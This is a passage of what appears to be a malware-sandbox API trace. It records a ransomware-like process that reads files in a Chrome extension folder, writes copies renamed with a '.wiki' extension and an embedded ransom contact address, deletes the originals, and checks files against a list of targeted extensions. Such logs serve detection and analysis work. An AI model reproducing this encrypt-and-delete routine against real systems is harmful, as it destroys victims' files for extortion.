"c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html")) returned 0x2020 [0181.306] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.306] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.306] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.307] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.307] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0181.307] GetLastError () returned 0x0 [0181.307] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x3b, lpOverlapped=0x0) returned 1 [0181.308] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x40, lpOverlapped=0x0) returned 1 [0181.309] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0181.309] WriteFile (in: hFile=0x2e0, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xea, lpOverlapped=0x0) returned 1 [0181.309] SetEndOfFile (hFile=0x2e0) returned 1 [0181.310] CloseHandle (hObject=0x2e0) returned 1 [0181.310] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.310] SetEndOfFile (hFile=0x158) returned 1 [0181.310] CloseHandle (hObject=0x158) returned 1 [0181.310] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.311] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html")) returned 1 [0181.311] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 157 [0181.311] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 157 [0181.311] lstrlenW (lpString=".doc") returned 4 [0181.311] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".docx") returned 5 [0181.311] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.311] lstrlenW (lpString=".pdf") returned 4 [0181.311] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".xls") returned 4 [0181.311] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".xlsx") returned 5 [0181.311] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0181.311] lstrlenW (lpString=".ppt") returned 4 [0181.311] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0181.311] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 157 [0181.311] lstrlenW (lpString=".zip") returned 4 [0181.311] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".rar") returned 4 [0181.311] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".bz2") returned 4 [0181.311] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.311] lstrlenW (lpString=".7z") returned 3 [0181.312] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.312] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 157 [0181.312] lstrlenW (lpString=".dbf") returned 4 [0181.312] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.312] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 157 [0181.312] lstrlenW (lpString=".1cd") returned 4 [0181.312] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.312] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 157 [0181.312] lstrlenW (lpString=".jpg") returned 4 [0181.312] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0181.312] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 157 [0181.312] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 157 [0181.312] lstrlenW (lpString=".doc") returned 4 [0181.312] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.312] lstrlenW (lpString=".docx") returned 5 [0181.312] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.312] lstrlenW (lpString=".pdf") returned 4 [0181.312] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0181.312] lstrlenW (lpString=".xls") returned 4 [0181.312] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0181.312] lstrlenW (lpString=".xlsx") returned 5 [0181.312] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0181.312] lstrlenW (lpString=".ppt") returned 4 [0181.312] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0181.312] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 157 [0181.312] lstrlenW (lpString=".zip") returned 4 [0181.312] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0181.312] lstrlenW (lpString=".rar") returned 4 [0181.313] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0181.313] lstrlenW (lpString=".bz2") returned 4 [0181.313] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.313] lstrlenW (lpString=".7z") returned 3 [0181.313] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.313] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 157 [0181.313] lstrlenW (lpString=".dbf") returned 4 [0181.313] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.313] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 157 [0181.313] lstrlenW (lpString=".1cd") returned 4 [0181.313] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.313] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\offers.html") returned 157 [0181.313] lstrlenW (lpString=".jpg") returned 4 [0181.313] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0181.313] lstrcmpiW (lpString1=".html", lpString2=".wiki") returned -1 [0181.313] lstrlenW (lpString="setup.html") returned 10 [0181.313] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.314] GetFileSizeEx (in: hFile=0x158, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=59) returned 1 [0181.314] CloseHandle (hObject=0x158) returned 1 [0181.314] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html")) returned 0x2020 [0181.314] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0181.314] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x158 [0181.314] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.314] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0181.518] GetLastError () returned 0x0 [0181.518] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x3b, lpOverlapped=0x0) returned 1 [0181.519] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0x40, lpOverlapped=0x0) returned 1 [0181.520] ReadFile (in: hFile=0x158, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0181.520] WriteFile (in: hFile=0x19c, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0181.520] SetEndOfFile (hFile=0x19c) returned 1 [0181.520] CloseHandle (hObject=0x19c) returned 1 [0181.520] SetFilePointerEx (in: hFile=0x158, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0181.520] SetEndOfFile (hFile=0x158) returned 1 [0181.521] CloseHandle (hObject=0x158) returned 1 [0181.521] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0181.521] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html")) returned 1 [0181.521] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 156 [0181.521] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 156 [0181.521] lstrlenW (lpString=".doc") returned 4 [0181.521] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.521] lstrlenW (lpString=".docx") returned 5 [0181.521] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.521] lstrlenW (lpString=".pdf") returned 4 [0181.521] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0181.521] lstrlenW (lpString=".xls") returned 4 [0181.521] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0181.521] lstrlenW (lpString=".xlsx") returned 5 [0181.522] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0181.522] lstrlenW (lpString=".ppt") returned 4 [0181.522] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0181.522] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 156 [0181.522] lstrlenW (lpString=".zip") returned 4 [0181.522] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0181.522] lstrlenW (lpString=".rar") returned 4 [0181.522] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0181.522] lstrlenW (lpString=".bz2") returned 4 [0181.522] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.522] lstrlenW (lpString=".7z") returned 3 [0181.522] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.522] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 156 [0181.522] lstrlenW (lpString=".dbf") returned 4 [0181.522] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.522] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 156 [0181.522] lstrlenW (lpString=".1cd") returned 4 [0181.522] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.522] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 156 [0181.522] lstrlenW (lpString=".jpg") returned 4 [0181.522] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0181.522] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 156 [0181.522] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 156 [0181.522] lstrlenW (lpString=".doc") returned 4 [0181.522] lstrcmpiW (lpString1=".doc", lpString2="html") returned -1 [0181.522] lstrlenW (lpString=".docx") returned 5 [0181.522] lstrcmpiW (lpString1=".docx", lpString2=".html") returned -1 [0181.522] lstrlenW (lpString=".pdf") returned 4 [0181.522] lstrcmpiW (lpString1=".pdf", lpString2="html") returned -1 [0181.522] lstrlenW (lpString=".xls") returned 4 [0181.523] lstrcmpiW (lpString1=".xls", lpString2="html") returned -1 [0181.523] lstrlenW (lpString=".xlsx") returned 5 [0181.523] lstrcmpiW (lpString1=".xlsx", lpString2=".html") returned 1 [0181.523] lstrlenW (lpString=".ppt") returned 4 [0181.523] lstrcmpiW (lpString1=".ppt", lpString2="html") returned -1 [0181.523] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 156 [0181.523] lstrlenW (lpString=".zip") returned 4 [0181.523] lstrcmpiW (lpString1=".zip", lpString2="html") returned -1 [0181.523] lstrlenW (lpString=".rar") returned 4 [0181.523] lstrcmpiW (lpString1=".rar", lpString2="html") returned -1 [0181.523] lstrlenW (lpString=".bz2") returned 4 [0181.523] lstrcmpiW (lpString1=".bz2", lpString2="html") returned -1 [0181.523] lstrlenW (lpString=".7z") returned 3 [0181.523] lstrcmpiW (lpString1=".7z", lpString2="tml") returned -1 [0181.523] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 156 [0181.523] lstrlenW (lpString=".dbf") returned 4 [0181.523] lstrcmpiW (lpString1=".dbf", lpString2="html") returned -1 [0181.523] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 156 [0181.523] lstrlenW (lpString=".1cd") returned 4 [0181.523] lstrcmpiW (lpString1=".1cd", lpString2="html") returned -1 [0181.523] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html") returned 156 [0181.523] lstrlenW (lpString=".jpg") returned 4 [0181.523] lstrcmpiW (lpString1=".jpg", lpString2="html") returned -1 [0181.523] lstrcmpiW (lpString1=".js", lpString2=".wiki") returned -1 [0181.523] lstrlenW (lpString="common.js") returned 9 [0181.523] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11c [0182.086] GetFileSizeEx (in: hFile=0x11c, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=51320) returned 1 [0182.086] CloseHandle (hObject=0x11c) returned 1 [0182.086] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js")) returned 0x2020 [0182.086] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0182.086] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x11c [0182.086] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0182.086] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0182.086] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\common.js.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1bc [0182.086] GetLastError () returned 0x0 [0182.086] ReadFile (in: hFile=0x11c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0xc878, lpOverlapped=0x0) returned 1 [0182.089] WriteFile (in: hFile=0x1bc, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xc880, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xc880, lpOverlapped=0x0) returned 1 [0182.091] ReadFile (in: hFile=0x11c, lpBuffer=0x39f0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0182.091] WriteFile (in: hFile=0x1bc, lpBuffer=0x39f0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x39f0020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 